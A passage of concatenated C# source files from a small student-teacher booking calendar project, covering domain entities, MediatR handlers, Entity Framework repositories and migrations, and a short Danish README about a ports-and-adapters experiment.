public class CreateCalendarHandler : IRequestHandler<CreateCalendarCommand, Guid>
{
private readonly ICalendarPersistencePort _cpp;
public CreateCalendarHandler(ICalendarPersistencePort cpp)
{
this._cpp = cpp;
}
public async Task<Guid> Handle(CreateCalendarCommand request, CancellationToken cancellationToken)
{
var newCalendar = new Domain.Calendar(request.Name, request.Description);
return await _cpp.AddCalendarAsync(newCalendar);
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/UpcommingBookings/UpcommingBookingsResponse.cs
using System;
namespace GuidanceCalendar.Application.StudentService.Queries.UpcommingBookings
{
public class UpcommingBookingsResponse
{
public Guid Id { get; set; }
public DateTimeOffset BookingStartDateTime { get; set; }
public DateTimeOffset BookingEndDateTime { get; set; }
}
}<file_sep>/GuidanceCalendar.Domain/Teacher.cs
using GuidanceCalendar.Domain.Common;
using System;
using System.Collections.Generic;
namespace GuidanceCalendar.Domain
{
public class Teacher : Entity
{
public string Name { get; private set; }
public ICollection<Timeslot> AvailableTimeslots { get; private set; }
public ICollection<Calendar> Calendars { get; private set; }
public Teacher(string name)
{
Name = name;
AvailableTimeslots = new List<Timeslot>();
Calendars = new List<Calendar>();
}
public static Teacher Create(Guid id, string name) => new Teacher(name) { Id = id };
public void AddTimeslot(Timeslot timeslot)
{
OverlapGuard(timeslot);
AvailableTimeslots.Add(timeslot);
}
private void OverlapGuard(Timeslot timeslot)
{
foreach(var ts in AvailableTimeslots)
{
ts.OverlapGuard(timeslot);
}
}
}
}<file_sep>/GuidanceCalendar.Persistence/Configure/TimeslotConfiguration.cs
using GuidanceCalendar.Persistence.DAO;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Metadata.Builders;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Persistence.Configure
{
public class TimeslotConfiguration : IEntityTypeConfiguration<TimeslotDao>
{
public void Configure(EntityTypeBuilder<TimeslotDao> builder)
{
builder.ToTable("Timeslot");
builder.HasKey(ts => ts.Id);
builder.HasOne(ts => ts.TimeslotOwner)
.WithMany(t => t.AvailableTimeslots)
.HasForeignKey("TeacherId");
builder.HasOne(ts => ts.Calendar)
.WithMany(c => c.AvailableTimeslots);
}
}
}
<file_sep>/GuidanceCalendar.Persistence/Interfaces/IBookingRepository.cs
using GuidanceCalendar.Persistence.DAO;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Persistence.Interfaces
{
public interface IBookingRepository : IRepository<BookingDao>
{
}
}
<file_sep>/GuidanceCalendar.Persistence/Configure/StudentConfiguration.cs
using GuidanceCalendar.Persistence.DAO;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Metadata.Builders;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Persistence.Configure
{
public class StudentConfiguration : IEntityTypeConfiguration<StudentDao>
{
public void Configure(EntityTypeBuilder<StudentDao> builder)
{
builder.ToTable("Student");
builder.HasKey(s => s.Id);
builder.HasMany(s => s.Bookings)
.WithOne(b => b.BookedBy)
.HasForeignKey("StudentId");
}
}
}
<file_sep>/GuidanceCalendar.Persistence/DAO/TeacherDao.cs
using GuidanceCalendar.Domain.Common;
using GuidanceCalendar.Persistence.DAO.Common;
using System;
using System.Collections.Generic;
using System.Linq;
namespace GuidanceCalendar.Persistence.DAO
{
public class TeacherDao : AbstractEntityDao
{
public string Name { get; private set; }
public ICollection<TimeslotDao> AvailableTimeslots { get; set; }
public ICollection<CalendarDao> Calendars { get; set; }
public TeacherDao()
{
AvailableTimeslots = new List<TimeslotDao>();
Calendars = new List<CalendarDao>();
}
}
}<file_sep>/GuidanceCalendar.Application/UseCases/Teacher/Commands/CreateTimeslot/CreateTimeslotHandler.cs
using GuidanceCalendar.Domain;
using GuidanceCalendar.Ports.Out.Persistence;
using MediatR;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.UseCases.Teacher.Commands.CreateTimeslot
{
public class CreateTimeslotHandler : IRequestHandler<CreateTimeslotCommand, CreateTimeslotResponse>
{
private readonly ITeacherPersistencePort _tpp;
private readonly ICalendarPersistencePort _cpp;
public CreateTimeslotHandler(ITeacherPersistencePort tpp,
ICalendarPersistencePort cpp)
{
this._tpp = tpp;
this._cpp = cpp;
}
public async Task<CreateTimeslotResponse> Handle(CreateTimeslotCommand request, CancellationToken cancellationToken)
{
var teacher = await _tpp.GetTeacherWithTimeslotsById(request.TeacherId);
var calendar = await _cpp.GetByIdAsync(request.CalendarId);
var timeslot = new Timeslot(request.StartTime, request.EndTime, teacher, calendar);
teacher.AddTimeslot(timeslot);
await _tpp.Update(teacher);
return new CreateTimeslotResponse { Id = timeslot.Id };
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Teacher/Commands/CreateTimeslot/CreateTimeslotCommand.cs
using MediatR;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Application.UseCases.Teacher.Commands.CreateTimeslot
{
public class CreateTimeslotCommand : IRequest<CreateTimeslotResponse>
{
public Guid TeacherId { get; set; }
public Guid CalendarId { get; set; }
public DateTimeOffset StartTime { get; set; }
public DateTimeOffset EndTime { get; set; }
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/UpcommingBookings - Copy/GetBookingHistoryQuery.cs
using MediatR;
using System;
using System.Collections.Generic;
namespace GuidanceCalendar.Application.StudentService.Queries.GetBookingHistory
{
public class GetBookingHistoryQuery : IRequest<List<GetBookingHistoryResponse>>
{
public Guid StudentId { get; set; }
}
}<file_sep>/GuidanceCalendar.Application/UseCases/Teacher/Commands/CreateTimeslot/CreateTimeslotResponse.cs
using System;
namespace GuidanceCalendar.Application.UseCases.Teacher.Commands.CreateTimeslot
{
public class CreateTimeslotResponse
{
public Guid Id { get; set; }
}
}<file_sep>/GuidanceCalendar.Persistence/Configure/IServiceCollectionExtension.cs
using GuidanceCalendar.Persistence.Interfaces;
using GuidanceCalendar.Persistence.Repositories;
using Microsoft.EntityFrameworkCore;
using Microsoft.Extensions.Configuration;
using Microsoft.Extensions.DependencyInjection;
namespace GuidanceCalendar.Persistence
{
public static class IServiceCollectionExtension
{
public static IServiceCollection AddDatabaseContext(this IServiceCollection services, IConfiguration config)
{
services.AddDbContext<GuidanceCalendarContext>(options =>
//options.UseInMemoryDatabase("GuidanceCalendar"));
options.UseSqlServer(config.GetConnectionString("DefaultConnection")));
services.AddScoped<ICalendarRepository, CalendarRepository>();
services.AddScoped<ITimeslotRepository, TimeslotRepository>();
services.AddScoped<IBookingRepository, BookingRepository >();
services.AddScoped<ITeacherRepository, TeacherRepository>();
services.AddScoped<IStudentRepository, StudentRepository>();
return services;
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Timeslot/Queries/GetBookingsInTimeslot/GetBookingsInTimeslotResponse.cs
using System;
namespace GuidanceCalendar.Application.TimeslotService.Queries.GetBookingsInTimeslot
{
public class GetBookingsInTimeslotResponse
{
public Guid Id { get; set; }
public DateTimeOffset BookingStartDateTime { get; set; }
public DateTimeOffset BookingEndDateTime { get; set; }
public Guid BookedBy { get; set; }
}
}<file_sep>/GuidanceCalendar.Application/Port/In/CalendarService.cs
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
using GuidanceCalendar.Application.UseCases.Calendar.Commands.CreateCalendar;
using GuidanceCalendar.Application.UseCases.Calendar.Queries.AvaliableCalendars;
using GuidanceCalendar.Application.UseCases.Calendar.Queries.GetCalendar;
using GuidanceCalendar.Domain;
using GuidanceCalendar.Ports.In.Application;
using MediatR;
namespace GuidanceCalendar.Application.Port.In
{
public class CalendarService : ApplicationService, ICalendarService
{
public CalendarService(IMediator mediator) : base(mediator)
{
}
public async Task<Guid> CreateCalendar(string name, string description)
{
return await _mediator.Send(new CreateCalendarCommand { Name = name, Description = description });
}
public async Task<ICollection<Calendar>> GetAvailableCalendars()
{
return await _mediator.Send(new AvaliableCalendarsRequest());
}
public async Task<Calendar> GetCalendar(Guid id)
{
return await _mediator.Send(new GetCalendarQuery { Id = id });
}
}
}
<file_sep>/README.md
# GuidanceCalendar
Et forsøg på at implementere "Ports and Adapters".
Følg flowet igennem TeacherController (GuidanceCalendar/Controllers/)
Gammelt eksempel kan ses i branchen "OldMaster"
## TODO:
- fjern MediatR fra Application-laget
- den overordnede struktur kan godt være strammere
- pænere interface mellem application og persistence
- Kan man lave pænere (og smartere) mapnings (uden brug af automapper)
<file_sep>/GuidanceCalendar.Persistence/Repositories/TeacherRepository.cs
using GuidanceCalendar.Persistence.DAO;
using GuidanceCalendar.Persistence.Interfaces;
using Microsoft.EntityFrameworkCore;
using System;
using System.Linq;
using System.Threading.Tasks;
namespace GuidanceCalendar.Persistence.Repositories
{
public class TeacherRepository : BaseRepository<TeacherDao>, ITeacherRepository
{
public TeacherRepository(GuidanceCalendarContext dbContext) : base(dbContext)
{
}
public async Task<TeacherDao> GetTeacherWithTimeslotsById(Guid id)
{
return await dbSet.Where(x => x.Id == id).Include(x => x.AvailableTimeslots).FirstOrDefaultAsync();
}
}
}
<file_sep>/GuidanceCalendar.Application/Port/Out/CalendarPersistencePort.cs
using GuidanceCalendar.Domain;
using GuidanceCalendar.Persistence.DAO;
using GuidanceCalendar.Persistence.Interfaces;
using GuidanceCalendar.Ports.Out.Persistence;
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.Port.Out
{
public class CalendarPersistencePort : ICalendarPersistencePort
{
private readonly ICalendarRepository _calendarRepository;
public CalendarPersistencePort(ICalendarRepository calendarRepository)
{
_calendarRepository = calendarRepository;
}
public async Task<Guid> AddCalendarAsync(Calendar calendar)
{
CalendarDao entity = new CalendarDao { Name = calendar.Name, Description = calendar.Description };
await _calendarRepository.AddAsync(entity);
return entity.Id;
}
public async Task<Calendar> GetByIdAsync(Guid id)
{
var calendarDao = await _calendarRepository.GetByIdAsync(id);
return DaoToDomain(calendarDao);
}
public async Task<ICollection<Calendar>> ListCalendarsAsync()
{
var listCalendarsDao = await _calendarRepository.ListAsync();
var calendars = new List<Calendar>();
foreach (var daoCalendar in listCalendarsDao)
{
calendars.Add(Calendar.Create(daoCalendar.Id, daoCalendar.Name, daoCalendar.Description));
}
return calendars;
}
private Calendar DaoToDomain(CalendarDao calendarDao)
{
return Calendar.Create(calendarDao.Id, calendarDao.Name, calendarDao.Description);
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Teacher/Queries/GetTeachers/GetTeachersQuery.cs
using MediatR;
using System.Collections.Generic;
namespace GuidanceCalendar.Application.UseCases.Teacher.Queries.GetTeachers
{
public class GetTeachersQuery : IRequest<ICollection<Domain.Teacher>>
{
}
}<file_sep>/GuidanceCalendar.Application/UseCases/Calendar/Queries/GetCalendar/GetCalendarQuery.cs
using MediatR;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Application.UseCases.Calendar.Queries.GetCalendar
{
public class GetCalendarQuery : IRequest<Domain.Calendar>
{
public Guid Id { get; set; }
}
}
<file_sep>/GuidanceCalendar.Persistence/Interfaces/ITimeslotRepository.cs
using GuidanceCalendar.Persistence.DAO;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
namespace GuidanceCalendar.Persistence.Interfaces
{
public interface ITimeslotRepository : IRepository<TimeslotDao>
{
Task<TimeslotDao> GetTimeslotWithBookingsById(Guid id);
}
}
<file_sep>/GuidanceCalendar.Persistence/Configure/TeacherConfiguration.cs
using GuidanceCalendar.Persistence.DAO;
using Microsoft.EntityFrameworkCore;
using Microsoft.EntityFrameworkCore.Metadata.Builders;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Persistence.Configure
{
public class TeacherConfiguration : IEntityTypeConfiguration<TeacherDao>
{
public void Configure(EntityTypeBuilder<TeacherDao> builder)
{
builder.ToTable("Teacher");
builder.HasKey(t => t.Id);
builder.HasMany(t => t.Calendars)
.WithOne();
builder.HasMany(t => t.AvailableTimeslots)
.WithOne(ts => ts.TimeslotOwner)
.HasForeignKey("TeacherId");
}
}
}
<file_sep>/GuidanceCalendar.Persistence/Migrations/20200216144526_InitialCreate.cs
using System;
using Microsoft.EntityFrameworkCore.Migrations;
namespace GuidanceCalendar.Persistence.Migrations
{
public partial class InitialCreate : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.CreateTable(
name: "Students",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
Name = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Students", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Teachers",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
Name = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Teachers", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Calendars",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
Name = table.Column<string>(nullable: true),
Description = table.Column<string>(nullable: true),
TeacherId = table.Column<Guid>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Calendars", x => x.Id);
table.ForeignKey(
name: "FK_Calendars_Teachers_TeacherId",
column: x => x.TeacherId,
principalTable: "Teachers",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateTable(
name: "Timeslots",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
StartTime = table.Column<DateTimeOffset>(nullable: false),
EndTime = table.Column<DateTimeOffset>(nullable: false),
TeacherId = table.Column<Guid>(nullable: true),
CalendarId = table.Column<Guid>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Timeslots", x => x.Id);
table.ForeignKey(
name: "FK_Timeslots_Calendars_CalendarId",
column: x => x.CalendarId,
principalTable: "Calendars",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
table.ForeignKey(
name: "FK_Timeslots_Teachers_TeacherId",
column: x => x.TeacherId,
principalTable: "Teachers",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateTable(
name: "Bookings",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
StartTime = table.Column<DateTimeOffset>(nullable: false),
EndTime = table.Column<DateTimeOffset>(nullable: false),
StudentId = table.Column<Guid>(nullable: true),
TimeslotId = table.Column<Guid>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Bookings", x => x.Id);
table.ForeignKey(
name: "FK_Bookings_Students_StudentId",
column: x => x.StudentId,
principalTable: "Students",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
table.ForeignKey(
name: "FK_Bookings_Timeslots_TimeslotId",
column: x => x.TimeslotId,
principalTable: "Timeslots",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateIndex(
name: "IX_Bookings_StudentId",
table: "Bookings",
column: "StudentId");
migrationBuilder.CreateIndex(
name: "IX_Bookings_TimeslotId",
table: "Bookings",
column: "TimeslotId");
migrationBuilder.CreateIndex(
name: "IX_Calendars_TeacherId",
table: "Calendars",
column: "TeacherId");
migrationBuilder.CreateIndex(
name: "IX_Timeslots_CalendarId",
table: "Timeslots",
column: "CalendarId");
migrationBuilder.CreateIndex(
name: "IX_Timeslots_TeacherId",
table: "Timeslots",
column: "TeacherId");
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropTable(
name: "Bookings");
migrationBuilder.DropTable(
name: "Students");
migrationBuilder.DropTable(
name: "Timeslots");
migrationBuilder.DropTable(
name: "Calendars");
migrationBuilder.DropTable(
name: "Teachers");
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Teacher/Queries/GetTeachers/GetTeachersHandler.cs
using GuidanceCalendar.Domain;
using MediatR;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Linq;
using GuidanceCalendar.Ports.Out.Persistence;
namespace GuidanceCalendar.Application.UseCases.Teacher.Queries.GetTeachers
{
public class GetTeachersHandler : IRequestHandler<GetTeachersQuery, ICollection<Domain.Teacher>>
{
private readonly ITeacherPersistencePort _tpp;
public GetTeachersHandler(ITeacherPersistencePort tpp)
{
this._tpp = tpp;
}
public async Task<ICollection<Domain.Teacher>> Handle(GetTeachersQuery request, CancellationToken cancellationToken)
{
return await _tpp.ListTeachersAsync();
}
}
}
<file_sep>/GuidanceCalendar.Persistence/Migrations/20200224084308_newDb.cs
using System;
using Microsoft.EntityFrameworkCore.Migrations;
namespace GuidanceCalendar.Persistence.Migrations
{
public partial class newDb : Migration
{
protected override void Up(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropTable(
name: "Bookings");
migrationBuilder.DropTable(
name: "Students");
migrationBuilder.DropTable(
name: "Timeslots");
migrationBuilder.DropTable(
name: "Calendars");
migrationBuilder.DropTable(
name: "Teachers");
migrationBuilder.CreateTable(
name: "Student",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
Name = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Student", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Teacher",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
StartTime = table.Column<DateTimeOffset>(nullable: false),
EndTime = table.Column<DateTimeOffset>(nullable: false),
Name = table.Column<string>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Teacher", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Calendar",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
Name = table.Column<string>(nullable: true),
Description = table.Column<string>(nullable: true),
TeacherDaoId = table.Column<Guid>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Calendar", x => x.Id);
table.ForeignKey(
name: "FK_Calendar_Teacher_TeacherDaoId",
column: x => x.TeacherDaoId,
principalTable: "Teacher",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateTable(
name: "Timeslot",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
StartTime = table.Column<DateTime>(nullable: false),
EndTime = table.Column<DateTime>(nullable: false),
TeacherId = table.Column<Guid>(nullable: true),
CalendarId = table.Column<Guid>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Timeslot", x => x.Id);
table.ForeignKey(
name: "FK_Timeslot_Calendar_CalendarId",
column: x => x.CalendarId,
principalTable: "Calendar",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
table.ForeignKey(
name: "FK_Timeslot_Teacher_TeacherId",
column: x => x.TeacherId,
principalTable: "Teacher",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateTable(
name: "Booking",
columns: table => new
{
Id = table.Column<Guid>(nullable: false),
StartTime = table.Column<DateTimeOffset>(nullable: false),
EndTime = table.Column<DateTimeOffset>(nullable: false),
StudentId = table.Column<Guid>(nullable: true),
TimeslotDaoId = table.Column<Guid>(nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Booking", x => x.Id);
table.ForeignKey(
name: "FK_Booking_Student_StudentId",
column: x => x.StudentId,
principalTable: "Student",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
table.ForeignKey(
name: "FK_Booking_Timeslot_TimeslotDaoId",
column: x => x.TimeslotDaoId,
principalTable: "Timeslot",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateIndex(
name: "IX_Booking_StudentId",
table: "Booking",
column: "StudentId");
migrationBuilder.CreateIndex(
name: "IX_Booking_TimeslotDaoId",
table: "Booking",
column: "TimeslotDaoId");
migrationBuilder.CreateIndex(
name: "IX_Calendar_TeacherDaoId",
table: "Calendar",
column: "TeacherDaoId");
migrationBuilder.CreateIndex(
name: "IX_Timeslot_CalendarId",
table: "Timeslot",
column: "CalendarId");
migrationBuilder.CreateIndex(
name: "IX_Timeslot_TeacherId",
table: "Timeslot",
column: "TeacherId");
}
protected override void Down(MigrationBuilder migrationBuilder)
{
migrationBuilder.DropTable(
name: "Booking");
migrationBuilder.DropTable(
name: "Student");
migrationBuilder.DropTable(
name: "Timeslot");
migrationBuilder.DropTable(
name: "Calendar");
migrationBuilder.DropTable(
name: "Teacher");
migrationBuilder.CreateTable(
name: "Students",
columns: table => new
{
Id = table.Column<Guid>(type: "uniqueidentifier", nullable: false),
Name = table.Column<string>(type: "nvarchar(max)", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Students", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Teachers",
columns: table => new
{
Id = table.Column<Guid>(type: "uniqueidentifier", nullable: false),
Name = table.Column<string>(type: "nvarchar(max)", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Teachers", x => x.Id);
});
migrationBuilder.CreateTable(
name: "Calendars",
columns: table => new
{
Id = table.Column<Guid>(type: "uniqueidentifier", nullable: false),
Description = table.Column<string>(type: "nvarchar(max)", nullable: true),
Name = table.Column<string>(type: "nvarchar(max)", nullable: true),
TeacherId = table.Column<Guid>(type: "uniqueidentifier", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Calendars", x => x.Id);
table.ForeignKey(
name: "FK_Calendars_Teachers_TeacherId",
column: x => x.TeacherId,
principalTable: "Teachers",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateTable(
name: "Timeslots",
columns: table => new
{
Id = table.Column<Guid>(type: "uniqueidentifier", nullable: false),
CalendarId = table.Column<Guid>(type: "uniqueidentifier", nullable: true),
EndTime = table.Column<DateTimeOffset>(type: "datetimeoffset", nullable: false),
StartTime = table.Column<DateTimeOffset>(type: "datetimeoffset", nullable: false),
TeacherId = table.Column<Guid>(type: "uniqueidentifier", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Timeslots", x => x.Id);
table.ForeignKey(
name: "FK_Timeslots_Calendars_CalendarId",
column: x => x.CalendarId,
principalTable: "Calendars",
principalColumn: "Id",
onDelete: ReferentialAction.Cascade);
table.ForeignKey(
name: "FK_Timeslots_Teachers_TeacherId",
column: x => x.TeacherId,
principalTable: "Teachers",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateTable(
name: "Bookings",
columns: table => new
{
Id = table.Column<Guid>(type: "uniqueidentifier", nullable: false),
EndTime = table.Column<DateTimeOffset>(type: "datetimeoffset", nullable: false),
StartTime = table.Column<DateTimeOffset>(type: "datetimeoffset", nullable: false),
StudentId = table.Column<Guid>(type: "uniqueidentifier", nullable: true),
TimeslotId = table.Column<Guid>(type: "uniqueidentifier", nullable: true)
},
constraints: table =>
{
table.PrimaryKey("PK_Bookings", x => x.Id);
table.ForeignKey(
name: "FK_Bookings_Students_StudentId",
column: x => x.StudentId,
principalTable: "Students",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
table.ForeignKey(
name: "FK_Bookings_Timeslots_TimeslotId",
column: x => x.TimeslotId,
principalTable: "Timeslots",
principalColumn: "Id",
onDelete: ReferentialAction.Restrict);
});
migrationBuilder.CreateIndex(
name: "IX_Bookings_StudentId",
table: "Bookings",
column: "StudentId");
migrationBuilder.CreateIndex(
name: "IX_Bookings_TimeslotId",
table: "Bookings",
column: "TimeslotId");
migrationBuilder.CreateIndex(
name: "IX_Calendars_TeacherId",
table: "Calendars",
column: "TeacherId");
migrationBuilder.CreateIndex(
name: "IX_Timeslots_CalendarId",
table: "Timeslots",
column: "CalendarId");
migrationBuilder.CreateIndex(
name: "IX_Timeslots_TeacherId",
table: "Timeslots",
column: "TeacherId");
}
}
}
<file_sep>/GuidanceCalendar.Persistence/GuidanceCalendarContext.cs
using GuidanceCalendar.Persistence.DAO;
using Microsoft.EntityFrameworkCore;
using System;
using System.Reflection;
namespace GuidanceCalendar.Persistence
{
public class GuidanceCalendarContext : DbContext
{
public GuidanceCalendarContext(DbContextOptions<GuidanceCalendarContext> options) : base(options)
{
}
public DbSet<CalendarDao> Calendars { get; set; }
public DbSet<StudentDao> Students { get; set; }
public DbSet<TeacherDao> Teachers { get; set; }
public DbSet<TimeslotDao> Timeslots { get; set; }
public DbSet<BookingDao> Bookings { get; set; }
protected override void OnModelCreating(ModelBuilder modelBuilder)
{
modelBuilder.ApplyConfigurationsFromAssembly(Assembly.GetExecutingAssembly());
}
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/GetStudents/GetStudentsResponse.cs
using System;
namespace GuidanceCalendar.Application.StudentService.Queries.GetStudents
{
public class GetStudentsResponse
{
public Guid Id { get; set; }
public string Name { get; set; }
}
}<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/UpcommingBookings - Copy/GetBookingHistoryResponse.cs
using System;
namespace GuidanceCalendar.Application.StudentService.Queries.GetBookingHistory
{
public class GetBookingHistoryResponse
{
public Guid Id { get; set; }
public DateTimeOffset BookingStartDateTime { get; set; }
public DateTimeOffset BookingEndDateTime { get; set; }
}
}<file_sep>/GuidanceCalendar.Persistence/DAO/BookingDao.cs
using GuidanceCalendar.Persistence.DAO;
using GuidanceCalendar.Persistence.DAO.Common;
using System;
namespace GuidanceCalendar.Persistence.DAO
{
public class BookingDao : AbstractEntityDao
{
public DateTimeOffset StartTime { get; set; }
public DateTimeOffset EndTime { get; set; }
public StudentDao BookedBy { get; set; }
}
}<file_sep>/GuidanceCalendar.Persistence/DAO/StudentDao.cs
using GuidanceCalendar.Persistence.DAO.Common;
using System.Collections.Generic;
namespace GuidanceCalendar.Persistence.DAO
{
public class StudentDao : AbstractEntityDao
{
public string Name { get; set; }
public ICollection<BookingDao> Bookings { get; set; }
}
}<file_sep>/GuidanceCalendar.Application/UseCases/Teacher/Queries/GetAvailableTimeslots/GetAvailableTimeslotsQuery.cs
using GuidanceCalendar.Domain;
using MediatR;
using System;
using System.Collections.Generic;
namespace GuidanceCalendar.Application.UseCases.Teacher.Queries.GetAvailableTimeslots
{
public class GetAvailableTimeslotsQuery : IRequest<ICollection<Timeslot>>
{
public Guid TeacherId { get; set; }
}
}<file_sep>/GuidanceCalendar.Domain/Student.cs
using GuidanceCalendar.Domain.Common;
using System;
using System.Collections.Generic;
using System.Linq;
namespace GuidanceCalendar.Domain
{
public class Student : Entity
{
public string Name { get; private set; }
public ICollection<Booking> Bookings { get; private set; }
public Student(string name)
{
Bookings = new List<Booking>();
Name = name;
}
private void BookingGuard()
{
var thisMoment = DateTime.UtcNow;
if (Bookings.Count(b => b.StartTime > ThisMoment()) == 2) throw new Exception("You can only have two open bookings");
}
private DateTimeOffset ThisMoment() => DateTime.UtcNow;
public void AddBooking(Booking booking)
{
BookingGuard();
Bookings.Add(booking);
}
public ICollection<Booking> GetOpenBookings()
{
return Bookings.Where(b => b.StartTime > ThisMoment()).ToList();
}
public Student()
{
}
}
}<file_sep>/GuidanceCalendar.Persistence/Interfaces/IStudentRepository.cs
using GuidanceCalendar.Persistence.DAO;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
namespace GuidanceCalendar.Persistence.Interfaces
{
public interface IStudentRepository : IRepository<StudentDao>
{
Task<StudentDao> GetStudentWithBookingsById(Guid id);
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Calendar/Queries/AvaliableCalendars/AvaliableCalendarsRequest.cs
using GuidanceCalendar.Domain;
using MediatR;
using System;
using System.Collections.Generic;
using System.Text;
namespace GuidanceCalendar.Application.UseCases.Calendar.Queries.AvaliableCalendars
{
public class AvaliableCalendarsRequest : IRequest<ICollection<Domain.Calendar>>
{
}
}
<file_sep>/GuidanceCalendar.Ports/Out/Persistence/ICalendarPersistencePort.cs
using GuidanceCalendar.Domain;
using System;
using System.Collections.Generic;
using System.Threading.Tasks;
namespace GuidanceCalendar.Ports.Out.Persistence
{
public interface ICalendarPersistencePort
{
Task<Calendar> GetByIdAsync(Guid id);
Task<ICollection<Calendar>> ListCalendarsAsync();
Task<Guid> AddCalendarAsync(Calendar calendar);
}
}
<file_sep>/GuidanceCalendar.Domain/Booking.cs
using GuidanceCalendar.Domain.Common;
using System;
namespace GuidanceCalendar.Domain
{
public class Booking : TimeRange
{
public Student BookedBy { get; private set; }
public Booking()
{
}
public Booking(Student booker, DateTimeOffset startTime, DateTimeOffset endTime)
{
BookedBy = booker;
TimeRangeGuard(startTime, endTime);
StartTime = startTime;
EndTime = endTime;
}
}
}<file_sep>/GuidanceCalendar.Persistence/Interfaces/ITeacherRepository.cs
using GuidanceCalendar.Persistence.DAO;
using System;
using System.Collections.Generic;
using System.Text;
using System.Threading.Tasks;
namespace GuidanceCalendar.Persistence.Interfaces
{
public interface ITeacherRepository : IRepository<TeacherDao>
{
Task<TeacherDao> GetTeacherWithTimeslotsById(Guid id);
}
}
<file_sep>/GuidanceCalendar.Application/UseCases/Student/Queries/GetStudents/GetStudentsHandler.cs
using MediatR;
using System;
using System.Collections.Generic;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.StudentService.Queries.GetStudents
{
public class GetStudentsHandler : IRequestHandler<GetStudentsQuery, List<GetStudentsResponse>>
{
//private readonly IStudentRepository studentRepository;
//public GetStudentsHandler(IStudentRepository studentRepository)
//{
// this.studentRepository = studentRepository;
//}
public async Task<List<GetStudentsResponse>> Handle(GetStudentsQuery request, CancellationToken cancellationToken)
{
//var response = new List<GetStudentsResponse>();
//var students = await studentRepository.ListAsync();
//students.ToList().ForEach(x => response.Add(new GetStudentsResponse { Id = x.Id, Name = x.Name }));
//return response;
throw new NotImplementedException("Needs big refactoring :)");
}
}
}
<file_sep>/GuidanceCalendar/Viewmodels/Commands/CreateTimeslotCommand.cs
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace GuidanceCalendar.API.Viewmodels.Commands
{
public class CreateTimeslotCommand
{
public Guid TeacherId { get; set; }
public Guid CalendarId { get; set; }
public DateTimeOffset StartTime { get; set; }
